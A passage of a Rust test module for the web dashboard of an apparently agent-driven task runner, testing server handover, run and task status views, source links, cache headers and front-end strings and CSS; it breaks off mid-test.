22811        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22812        assert!(health["upgrade"]["stuck_kind"].is_null());
22813        assert_eq!(health["upgrade"]["handover_alive"], true);
22814        let waiting_on = health["upgrade"]["waiting_on"]
22815            .as_str()
22816            .expect("waiting_on");
22817        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22818    }
22819
22820    fn idle_ui(home: &TempDir) -> Ui {
22821        let runs = home.path().join("runs");
22822        std::fs::create_dir_all(&runs).expect("runs dir");
22823        Ui::new(
22824            Queue::at(home.path().join("queue")),
22825            Questions::at(home.path().join("questions")),
22826            Talks::at(home.path().join("talks")),
22827            runs,
22828            home.path().to_path_buf(),
22829            PathBuf::from("/repo/magi"),
22830        )
22831        .with_launch(launch_idle)
22832    }
22833
22834    #[tokio::test]
22835    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22836        let home = TempDir::new().expect("temp home");
22837        let ui = idle_ui(&home);
22838        let lease = crate::worker::try_lease(home.path(), "scheduler")
22839            .expect("scheduler lease")
22840            .expect("free");
22841        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22842            .expect("request stop");
22843        let error = ui
22844            .start_detached_loop()
22845            .await
22846            .expect_err("transition is still live");
22847        assert_eq!(error.status, StatusCode::CONFLICT);
22848        assert!(error.message.contains("still running or stopping"));
22849        assert_eq!(
22850            crate::worker::control(home.path(), "scheduler").unwrap(),
22851            Some(crate::worker::Control::Stop)
22852        );
22853        drop(lease);
22854    }
22855
22856    #[tokio::test]
22857    async fn handover_releases_listener_without_waiting_for_execution_leases() {
22858        let home = TempDir::new().expect("temp home");
22859        let ui = idle_ui(&home);
22860        let turns = ui
22861            .begin_talk_turn("active-chat")
22862            .expect("claim")
22863            .expect("free");
22864        let execution = crate::worker::try_lease(home.path(), "active-task")
22865            .expect("execution lease")
22866            .expect("free");
22867        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22868            .await
22869            .expect("bind loopback");
22870        let address = listener.local_addr().expect("address");
22871        let admissions = Arc::clone(&ui.admissions);
22872        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
22873        let successor_started = std::sync::atomic::AtomicBool::new(false);
22874        tokio::time::timeout(
22875            Duration::from_secs(2),
22876            hand_over(home.path(), &admissions, served, || {
22877                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
22878                Ok(1)
22879            }),
22880        )
22881        .await
22882        .expect("restart must not wait for execution")
22883        .expect("handover");
22884        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
22885        // BSD may retain the address briefly after listener release. The real
22886        // successor uses the same bounded bind retry rather than a one-shot bind.
22887        let successor = bind_waiting(address)
22888            .await
22889            .expect("successor binds released address");
22890        assert_eq!(successor.local_addr().unwrap(), address);
22891        assert!(turns.owns(), "the chat lease survives restart");
22892        assert!(
22893            crate::worker::try_lease(home.path(), "active-task")
22894                .unwrap()
22895                .is_none()
22896        );
22897        drop(execution);
22898        drop(turns);
22899    }
22900
22901    #[tokio::test]
22902    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
22903        let home = TempDir::new().expect("temp home");
22904        let ui = idle_ui(&home);
22905        let admission = ui.begin_admission().expect("admit send");
22906        let turn = ui
22907            .begin_talk_turn("active-chat")
22908            .expect("claim")
22909            .expect("free");
22910        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
22911            .await
22912            .expect("bind loopback");
22913        let address = listener.local_addr().expect("address");
22914        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
22915        let successor_called = std::sync::atomic::AtomicBool::new(false);
22916        let handover = hand_over(home.path(), &ui.admissions, served, || {
22917            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
22918            Ok(1)
22919        });
22920        tokio::pin!(handover);
22921        // Poll exactly to the writer waiting on our admission guard. This
22922        // pins the race without sleeps or assumptions about task scheduling.
22923        std::future::poll_fn(|cx| {
22924            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
22925            std::task::Poll::Ready(())
22926        })
22927        .await;
22928        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
22929        assert!(
22930            ui.begin_admission().is_err(),
22931            "new ingress cannot race the drain"
22932        );
22933        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
22934        drop(admission);
22935        tokio::time::timeout(Duration::from_secs(2), handover)
22936            .await
22937            .expect("only publication may delay restart")
22938            .expect("handover");
22939        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
22940        assert!(
22941            turn.owns(),
22942            "the detached chat turn is not awaited or cancelled"
22943        );
22944        assert!(
22945            ui.begin_admission().is_err(),
22946            "old accepted connections stay closed"
22947        );
22948        drop(turn);
22949    }
22950
22951    #[test]
22952    fn health_worker_metadata_never_contains_payload_or_result() {
22953        let view = WorkerView::from(crate::worker::Job {
22954            id: "job".into(),
22955            sequence: 1,
22956            kind: "service".into(),
22957            key: "maintenance".into(),
22958            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
22959            generation: "generation".into(),
22960            version: Some("1.2.3".into()),
22961            status: crate::worker::Status::Running,
22962            result: Some("private diagnostics".into()),
22963            pid: Some(4242),
22964            created_at: 1,
22965            finished_at: None,
22966        });
22967        let value = serde_json::to_value(view).expect("serialize public metadata");
22968        assert_eq!(value["version"], "1.2.3");
22969        assert_eq!(value["pid"], 4242);
22970        assert!(value.get("payload").is_none());
22971        assert!(value.get("result").is_none());
22972        assert!(!value.to_string().contains("private"));
22973    }
22974
22975    #[test]
22976    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
22977        let home = TempDir::new().expect("temp home");
22978        let ui = idle_ui(&home);
22979        std::fs::write(
22980            home.path().join("daemon.json"),
22981            serde_json::json!({
22982                "schema": 2, "pid": 4242, "worker_protocol": 1,
22983                "updated_at": Timestamp::now().to_string(), "idle": true,
22984            })
22985            .to_string(),
22986        )
22987        .expect("status");
22988        let reading = daemon::read_status(home.path());
22989        assert!(Foreign::of(reading.as_ref()).is_none());
22990        let view = ui.runtime_loop_view(reading, &[]);
22991        assert!(view.running);
22992        assert!(view.owned);
22993    }
22994
22995    #[test]
22996    fn only_an_explicit_one_requests_a_resume() {
22997        assert!(!resume_requested(None));
22998        assert!(!resume_requested(Some("0".into())));
22999        assert!(!resume_requested(Some("".into())));
23000        assert!(resume_requested(Some("1".into())));
23001    }
23002
23003    #[test]
23004    fn an_error_is_visible_from_where_the_button_is() {
23005        // The alert used to sit in the flow under the header. On a phone
23006        // scrolled 13 500 px down to a run's action sheet that is off screen,
23007        // so tapping Resume and being told "the loop is running run b455
23008        // right now" looked exactly like a button that did nothing.
23009        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
23010            ..APP_CSS.find(".alert-text").expect(".alert-text")];
23011        assert!(
23012            alert.contains("position: fixed"),
23013            "an error about the thing under your thumb has to be visible from \
23014             where your thumb is: {alert}"
23015        );
23016        assert!(
23017            alert.contains("z-index: 25"),
23018            "above the dock (20) and the run-actions FAB (15), so neither \
23019             buries it: {alert}"
23020        );
23021        assert!(
23022            alert.contains("var(--tap)"),
23023            "and clear of the dock and the home indicator: {alert}"
23024        );
23025        // The FAB sits at the same height on the right. An error that covered
23026        // it would hide the button the operator reaches for next.
23027        assert!(
23028            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
23029            "the FAB's column stays free: {alert}"
23030        );
23031    }
23032
23033    #[tokio::test]
23034    async fn an_older_attempt_says_what_replaced_it() {
23035        let fx = Fixture::start().await;
23036        let q = fx.queue();
23037        let runs = fx.runs();
23038        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23039        write_run(&runs, first, RunStatus::Stalled);
23040        write_run(&runs, second, RunStatus::Blocked);
23041
23042        let mut t = Task::new(
23043            "one task".to_owned(),
23044            "do it".to_owned(),
23045            PathBuf::from("/repo"),
23046            Source::Human,
23047        );
23048        t.runs = vec![first.to_owned(), second.to_owned()];
23049        q.put(&mut t).expect("put");
23050
23051        // Two cards with the same title and no hint which is which was the
23052        // question: "why are there two of the same, one stalled and one
23053        // blocked?" The older one now names its replacement.
23054        let rows = fx.get("/api/runs").await.json();
23055        let by = |short: &str| -> Value {
23056            rows.as_array()
23057                .unwrap()
23058                .iter()
23059                .find(|r| r["short"] == short)
23060                .cloned()
23061                .unwrap_or(Value::Null)
23062        };
23063        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
23064        assert!(
23065            by("bbbb")["superseded_by"].is_null(),
23066            "the latest attempt is not superseded by anything"
23067        );
23068        // Front end: the note has to be rendered, not just carried.
23069        assert!(APP_JS.contains("run.superseded_by"));
23070        assert!(APP_JS.contains("Superseded by"));
23071    }
23072
23073    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
23074        let mut t = Task::new(
23075            "one task".to_owned(),
23076            "do it".to_owned(),
23077            PathBuf::from("/repo"),
23078            Source::Human,
23079        );
23080        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
23081        t.status = status;
23082        t
23083    }
23084
23085    #[test]
23086    fn source_link_picks_the_page_that_filed_the_task() {
23087        let agent = |node: &str| Source::Agent {
23088            run: "20260904-014455-ab12".to_owned(),
23089            node: node.to_owned(),
23090        };
23091        let chat = source_link(&agent("chat")).expect("chat link");
23092        assert_eq!(chat.kind, "chat");
23093        assert_eq!(chat.id, "20260904-014455-ab12");
23094        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
23095        let run = source_link(&agent("implement")).expect("run link");
23096        assert_eq!(
23097            (run.kind, run.href.as_str()),
23098            ("run", "#/runs/20260904-014455-ab12")
23099        );
23100        assert_eq!(source_link(&Source::Human), None);
23101        assert_eq!(
23102            source_link(&Source::Issue {
23103                number: 3,
23104                repo: "o/r".to_owned()
23105            }),
23106            None
23107        );
23108        let odd = source_link(&Source::Agent {
23109            run: "a b/c".to_owned(),
23110            node: "chat".to_owned(),
23111        })
23112        .expect("link");
23113        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
23114    }
23115
23116    #[test]
23117    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
23118        assert!(
23119            !APP_JS.contains("src.node === \"chat\""),
23120            "inline href rule is back"
23121        );
23122        assert!(
23123            APP_JS.matches("sourceLinkOf(").count() >= 4,
23124            "helper must serve every page"
23125        );
23126        assert!(
23127            APP_JS.matches("openChatLink(").count() >= 3,
23128            "the run page still needs its explicit chat link"
23129        );
23130        assert!(
23131            !APP_JS.contains("const openChat = el("),
23132            "the Queue card duplicates its source label link again"
23133        );
23134        assert!(
23135            APP_JS.contains("metaKids.push(link ? el(\"a\""),
23136            "the task page must link a chat source label too"
23137        );
23138    }
23139
23140    #[test]
23141    fn task_ref_carries_the_source_link_for_a_chat_task() {
23142        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23143        t.source = Source::Agent {
23144            run: "20260904-014455-ab12".to_owned(),
23145            node: "chat".to_owned(),
23146        };
23147        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
23148        let v = serde_json::to_value(&out).expect("json");
23149        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
23150        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
23151        assert_eq!(v["source_label"], t.source.label());
23152
23153        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
23154        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
23155            .expect("json");
23156        assert!(v["source_link"].is_null(), "{v}");
23157    }
23158
23159    #[test]
23160    fn task_view_serializes_source_link() {
23161        let mut t = Task::new(
23162            "t".to_owned(),
23163            "t".to_owned(),
23164            PathBuf::from("/repo"),
23165            Source::Agent {
23166                run: "20260901-000000-aaaa".to_owned(),
23167                node: "implement".to_owned(),
23168            },
23169        );
23170        t.runs.clear();
23171        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23172        assert_eq!(v["source_link"]["kind"], "run", "{v}");
23173        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
23174    }
23175
23176    #[test]
23177    fn task_view_serializes_urgent_flag() {
23178        let mut t = Task::new(
23179            "t".to_owned(),
23180            "t".to_owned(),
23181            PathBuf::from("/repo"),
23182            Source::Human,
23183        );
23184        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
23185        assert_eq!(v["urgent"], false, "{v}");
23186        t.urgent = true;
23187        let v = serde_json::to_value(TaskView::from(t)).expect("json");
23188        assert_eq!(v["urgent"], true, "{v}");
23189        assert!(APP_JS.contains("task.urgent === true"));
23190    }
23191
23192    #[tokio::test]
23193    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
23194        let fx = Fixture::start().await;
23195        let runs = fx.runs();
23196        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23197        write_run(&runs, old, RunStatus::Blocked);
23198        write_run(&runs, new, RunStatus::Merged);
23199        let mut t = outcome_task(&[old, new], TaskStatus::Done);
23200        fx.queue().put(&mut t).expect("put");
23201
23202        let view = fx.get(&format!("/api/runs/{old}")).await.json();
23203        let task = &view["task"];
23204        assert_eq!(task["status"], "done");
23205        assert_eq!(task["is_latest"], false);
23206        assert_eq!(task["latest"]["short"], "bbbb");
23207        assert_eq!(task["finished_by"]["id"], new);
23208        assert_eq!(task["finished_by"]["outcome"], "merged");
23209        assert_eq!(task["closed_by_hand"], false);
23210        assert_eq!(view["status"], "blocked", "the run keeps its own status");
23211        assert!(APP_JS.contains("finished_by"));
23212        assert!(APP_JS.contains("superseded by run"));
23213    }
23214
23215    #[tokio::test]
23216    async fn the_latest_run_reports_a_held_task_without_a_successor() {
23217        let fx = Fixture::start().await;
23218        let runs = fx.runs();
23219        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
23220        write_run(&runs, old, RunStatus::Stalled);
23221        write_run(&runs, new, RunStatus::Blocked);
23222        let mut t = outcome_task(&[old, new], TaskStatus::Held);
23223        fx.queue().put(&mut t).expect("put");
23224
23225        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
23226        assert_eq!(task["status"], "held");
23227        assert_eq!(task["is_latest"], true);
23228        assert!(task["latest"].is_null());
23229        assert!(task["finished_by"].is_null());
23230        assert_eq!(task["closed_by_hand"], false);
23231    }
23232
23233    #[tokio::test]
23234    async fn a_direct_run_has_no_task_outcome() {
23235        let fx = Fixture::start().await;
23236        let runs = fx.runs();
23237        let id = "20260901-000000-aaaa";
23238        write_run(&runs, id, RunStatus::Blocked);
23239        let view = fx.get(&format!("/api/runs/{id}")).await.json();
23240        assert!(view["task"].is_null());
23241    }
23242
23243    #[test]
23244    fn task_outcome_does_not_guess_a_finishing_run() {
23245        let a = "20260901-000000-aaaa";
23246        let b = "20260901-000000-bbbb";
23247        let c = "20260901-000000-cccc";
23248        let dir = tempfile::tempdir().expect("tempdir");
23249        write_run(dir.path(), a, RunStatus::Blocked);
23250        write_run(dir.path(), b, RunStatus::VerifiedNoop);
23251        // `c` has no record: unreadable.
23252        let read = |id: &str| read_run(dir.path(), id).ok();
23253        // Neither a blocked run nor a no-op finished the task; the newest run is
23254        // unreadable and still named.
23255        let t = outcome_task(&[a, b, c], TaskStatus::Done);
23256        let out = task_outcome(&t, a, 3, read);
23257        assert!(out.finished_by.is_none());
23258        assert!(out.closed_by_hand);
23259        let latest = out.latest.expect("latest");
23260        assert_eq!(latest.id, c);
23261        assert_eq!(latest.status, None);
23262        assert_eq!(latest.outcome, "record unreadable");
23263
23264        // A Ready run settles the task as done, so it is named as the finisher.
23265        write_run(dir.path(), c, RunStatus::Ready);
23266        let t = outcome_task(&[a, c], TaskStatus::Done);
23267        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
23268        assert_eq!(out.finished_by.expect("finisher").id, c);
23269        assert!(!out.closed_by_hand);
23270
23271        // A resumed run id repeats: it is still the latest by id.
23272        let t = outcome_task(&[a, b, a], TaskStatus::Held);
23273        assert!(task_outcome(&t, a, 3, read).is_latest);
23274    }
23275
23276    #[tokio::test]
23277    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
23278        // The list route has known this since the card fix above; the detail
23279        // route — what an operator actually opens from a notification about
23280        // a blocked run — did not, and went on showing a bare red BLOCKED
23281        // chip for a run a retry had already finished.
23282        let fx = Fixture::start().await;
23283        let q = fx.queue();
23284        let runs = fx.runs();
23285        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
23286        write_run(&runs, first, RunStatus::Blocked);
23287        write_run(&runs, second, RunStatus::Merged);
23288
23289        let mut t = Task::new(
23290            "one task".to_owned(),
23291            "do it".to_owned(),
23292            PathBuf::from("/repo"),
23293            Source::Human,
23294        );
23295        t.runs = vec![first.to_owned(), second.to_owned()];
23296        q.put(&mut t).expect("put");
23297
23298        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
23299        assert_eq!(earlier["superseded_by"], "dddd");
23300        assert_eq!(earlier["latest_attempt"]["id"], second);
23301        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
23302        assert_eq!(
23303            earlier["latest_attempt"]["resolved"], true,
23304            "the run that replaced it landed, so this one reads as settled"
23305        );
23306
23307        let later = fx.get(&format!("/api/runs/{second}")).await.json();
23308        assert!(
23309            later["superseded_by"].is_null(),
23310            "the latest attempt is not superseded by anything"
23311        );
23312        assert!(
23313            later["latest_attempt"].is_null(),
23314            "the latest attempt has no later attempt of its own"
23315        );
23316
23317        // Front end: the detail page has to read the field this route now
23318        // carries, downgrade the chip, and link to the run that replaced it —
23319        // not just repeat the list card's own logic under a different name.
23320        // The link is built off `latest_attempt.id`, the server-resolved
23321        // full id, never a bare short string a client would have to guess a
23322        // full run from.
23323        assert!(APP_JS.contains("run.latest_attempt"));
23324        assert!(APP_JS.contains("data-superseded"));
23325        assert!(APP_JS.contains("#/runs/${latest.id}"));
23326    }
23327
23328    #[tokio::test]
23329    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
23330        // A -> B -> C, all Blocked except the last. A's immediate successor
23331        // (superseded_by) is B, which is itself unresolved; what an operator
23332        // opening A's page actually needs is where the task's story stands
23333        // *now* - C, not B - without depending on whether C happens to be in
23334        // whatever page of /api/runs the client last cached.
23335        let fx = Fixture::start().await;
23336        let q = fx.queue();
23337        let runs = fx.runs();
23338        let (a, b, c) = (
23339            "20260901-000000-aaaa",
23340            "20260901-000000-bbbb",
23341            "20260901-000000-cccc",
23342        );
23343        write_run(&runs, a, RunStatus::Blocked);
23344        write_run(&runs, b, RunStatus::Blocked);
23345        write_run(&runs, c, RunStatus::Merged);
23346
23347        let mut t = Task::new(
23348            "retried twice".to_owned(),
23349            "do it".to_owned(),
23350            PathBuf::from("/repo"),
23351            Source::Human,
23352        );
23353        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
23354        q.put(&mut t).expect("put");
23355
23356        let view = fx.get(&format!("/api/runs/{a}")).await.json();
23357        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
23358        assert_eq!(
23359            view["latest_attempt"]["id"], c,
23360            "the chain's current head, not the intermediate Blocked retry"
23361        );
23362        assert_eq!(view["latest_attempt"]["resolved"], true);
23363
23364        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
23365        assert_eq!(mid["latest_attempt"]["id"], c);
23366        assert_eq!(mid["latest_attempt"]["resolved"], true);
23367    }
23368
23369    #[tokio::test]
23370    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
23371        let fx = Fixture::start().await;
23372        let q = fx.queue();
23373        let runs = fx.runs();
23374
23375        // Still Blocked: the task is not resolved, so the older run must not
23376        // read as settled either.
23377        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
23378        write_run(&runs, still_blocked_a, RunStatus::Blocked);
23379        write_run(&runs, still_blocked_b, RunStatus::Blocked);
23380        let mut t1 = Task::new(
23381            "still stuck".to_owned(),
23382            "do it".to_owned(),
23383            PathBuf::from("/repo"),
23384            Source::Human,
23385        );
23386        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
23387        q.put(&mut t1).expect("put");
23388        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
23389        assert_eq!(view1["latest_attempt"]["resolved"], false);
23390        assert_eq!(view1["latest_attempt"]["status"], "blocked");
23391        assert_eq!(view1["latest_attempt"]["done"], true);
23392
23393        // Still running: the successor exists and must be reported as such.
23394        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
23395        write_run(&runs, run_a, RunStatus::Blocked);
23396        write_run(&runs, run_b, RunStatus::Implementing);
23397        let mut t3 = Task::new(
23398            "retrying".to_owned(),
23399            "do it".to_owned(),
23400            PathBuf::from("/repo"),
23401            Source::Human,
23402        );
23403        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
23404        q.put(&mut t3).expect("put");
23405        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
23406        assert_eq!(view3["latest_attempt"]["id"], run_b);
23407        assert_eq!(view3["latest_attempt"]["resolved"], false);
23408        assert_eq!(view3["latest_attempt"]["done"], false);
23409
23410        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23411        // to check - not a confirmed finish, so this must not read as
23412        // resolved either, even though the run is done in the sense that
23413        // nothing is still running.
23414        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23415        write_run(&runs, noop_a, RunStatus::Blocked);
23416        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23417        let mut t2 = Task::new(
23418            "claims done".to_owned(),
23419            "do it".to_owned(),
23420            PathBuf::from("/repo"),
23421            Source::Human,
23422        );
23423        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23424        q.put(&mut t2).expect("put");
23425        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23426        assert_eq!(
23427            view2["latest_attempt"]["resolved"], false,
23428            "an unverified no-op claim must not read as a confirmed finish"
23429        );
23430
23431        // Front end: an unresolved successor must not carry the "finished
23432        // this work" note or the muted chip treatment.
23433        assert!(APP_JS.contains("latest.resolved"));
23434        // ...but the link to it shows as soon as it exists, labelled by state
23435        // and without the "finished" wording or the muted chip.
23436        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23437        assert!(APP_JS.contains("Latest attempt: "));
23438        assert!(APP_JS.contains("in flight"));
23439        assert!(APP_JS.contains("not resolved"));
23440    }
23441
23442    #[tokio::test]
23443    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23444        let fx = Fixture::start().await;
23445        // No cache header at all meant browsers invented their own policy,
23446        // and one did: a phone went on showing "Candidates must be folded
23447        // before deleting. Run `magi fold` first." - deleted two releases
23448        // earlier - from a deck that no longer contained the sentence. The
23449        // button it named was right there, and unreachable.
23450        let js = fx.get("/app.js").await;
23451        assert_eq!(js.status, 200);
23452        let tag = js
23453            .header("etag")
23454            .expect("an etag to revalidate against")
23455            .to_owned();
23456        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23457        assert_eq!(
23458            js.header("cache-control"),
23459            Some("no-cache, must-revalidate"),
23460            "the phone has to ask every time"
23461        );
23462
23463        // And the asking has to be cheap, or `must-revalidate` just means
23464        // "send the whole interface on every load".
23465        let again = fx
23466            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23467            .await;
23468        assert_eq!(
23469            again.status, 304,
23470            "a deck it already has costs one round trip"
23471        );
23472        assert!(again.body.is_empty(), "304 carries no body");
23473
23474        // A weakened tag from a proxy still matches; a different build does
23475        // not, which is the case that has to deliver the new interface.
23476        let weak = fx
23477            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23478            .await;
23479        assert_eq!(weak.status, 304);
23480        let stale = fx
23481            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23482            .await;
23483        assert_eq!(stale.status, 200, "an older build must be replaced");
23484        assert!(stale.body.contains("renderRunActions"));
23485    }
23486
23487    #[test]
23488    fn the_task_detail_has_an_actions_fab_and_sheet() {
23489        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23490        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23491        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23492        // Shown only on the task route, closed everywhere else.
23493        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23494        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23495        // Refreshed whenever the detail redraws, including the loading state.
23496        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23497        assert!(APP_JS.contains("renderTaskActions(null);"));
23498        // Same renderers and routes as the Queue card, no new endpoint.
23499        let sheet = APP_JS
23500            .find("function renderTaskActions")
23501            .expect("sheet renderer");
23502        let body = &APP_JS[sheet..sheet + 3000];
23503        assert!(body.contains("changePriority("));
23504        assert!(body.contains("openTaskEdit(task)"));
23505        assert!(body.contains("renderTaskHoldBox(host"));
23506        assert!(body.contains("renderTaskDoneBox(host"));
23507        assert!(body.contains("renderTaskDeleteBox(host"));
23508        assert!(APP_JS.contains("API.priority(id)"));
23509        assert!(APP_JS.contains("API.deleteTask(id)"));
23510        // A deleted task sends the operator back to the queue.
23511        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23512        // A refusal is shown inside the sheet.
23513        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23514    }
23515
23516    #[test]
23517    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23518        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23519        let actions = INDEX_HTML
23520            .find("id=\"run-actions-box\"")
23521            .expect("actions box");
23522        assert!(task < actions, "the task entry comes first in the sheet");
23523        assert!(APP_JS.contains("renderRunTaskEntry"));
23524        assert!(APP_JS.contains("\"Open task \""));
23525        // A run without a task says why there is nothing to open.
23526        assert!(APP_JS.contains("started directly, no task"));
23527        assert!(APP_JS.contains("sheet-task-link"));
23528        assert!(APP_JS.contains("task-chip-link"));
23529    }
23530
23531    #[test]
23532    fn the_deck_never_sends_the_operator_to_a_terminal() {
23533        // The whole point of the phone UI is that a terminal is not needed.
23534        // The delete control used to answer with "Run `magi fold` first."
23535        assert!(
23536            !APP_JS.contains("Run `magi fold` first"),
23537            "the deck must offer the fold, not prescribe a shell command"
23538        );
23539        assert!(APP_JS.contains("foldRun:"));
23540        assert!(APP_JS.contains("resumeRun:"));
23541        assert!(APP_JS.contains("renderRunActions"));
23542
23543        // Folding is destructive and armed in two steps, like deleting.
23544        assert!(APP_JS.contains("armedFold"));
23545        assert!(APP_JS.contains("Yes, fold worktrees"));
23546
23547        // And the copy has to say that the two actions are opposites, because
23548        // folding throws away exactly what a resume would continue from.
23549        assert!(APP_JS.contains("can no longer be resumed"));
23550    }
23551
23552    #[test]
23553    fn a_finished_run_explains_itself_with_its_own_last_line() {
23554        // The deck used to answer "why did this stop?" with a sentence chosen
23555        // by status alone. Run e633 stalled because two judges answered with
23556        // the wrong JSON shape and its card said "The panel collapsed on
23557        // agent quota" - with `quota: []` in the record and a quota-loss
23558        // counter right above it that correctly said nothing.
23559        assert!(
23560            !APP_JS.contains("collapsed on agent quota"),
23561            "a stall must not be explained by a cause the deck did not check"
23562        );
23563        assert!(
23564            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23565            "and a block must not offer a guess with an `or` in it"
23566        );
23567
23568        // The reason it does have is `run.event`, which must reach finished
23569        // runs: gating it on movement hid the recorded truth at the one moment
23570        // the operator is reading the card to find out what happened.
23571        assert!(
23572            APP_JS.contains("setText(r.event, run.event || \"\")"),
23573            "the run's last line is rendered unconditionally"
23574        );
23575        assert!(
23576            !APP_JS.contains("moving && run.event"),
23577            "and never gated on the run still moving"
23578        );
23579
23580        // Quota keeps its own counter, fed by the number actually recorded.
23581        assert!(APP_JS.contains("lost to quota"));
23582    }
23583
23584    /// The runs tree (section) and the state chips (waiting/done) are two
23585    /// independent lenses ANDed together in `renderRuns`, and some pairings
23586    /// can never both be true for any run - every "Landed"/"Ended" run is
23587    /// done by construction, so pairing either with "Active" or "In flight"
23588    /// always rendered zero cards with the filter bar still claiming
23589    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23590    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23591    /// a handful of (waiting, status) shapes standing in for the run
23592    /// lifecycle, because `cargo test` cannot execute the front end.
23593    ///
23594    /// That stand-in list is itself the part that drifted twice in review:
23595    /// once shipped with `waiting: true` paired with a done status the
23596    /// lifecycle cannot produce, then over-corrected into treating every
23597    /// waiting run as never done - which made "Waiting on you" look
23598    /// incompatible with "Done" even for the one real, reachable shape
23599    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23600    /// that combination. This test parses the shapes and the done-rule back
23601    /// out of `APP_JS`, reimplements `runSection` and the five state
23602    /// predicates independently in Rust, and checks the resulting
23603    /// section/filter compatibility table against the lifecycle rules by
23604    /// hand - so either direction of drift fails it again.
23605    #[test]
23606    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23607        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23608        let shapes_body_start =
23609            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23610        let shapes_close = APP_JS[shapes_body_start..]
23611            .find("].map(")
23612            .expect("the shape list is closed by its done-computing .map(...)")
23613            + shapes_body_start;
23614        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23615
23616        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23617        for entry in shapes_src.split('{').skip(1) {
23618            let waiting = entry.contains("waiting: true");
23619            let dead = entry.contains("live: \"dead\"");
23620            let status_at =
23621                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
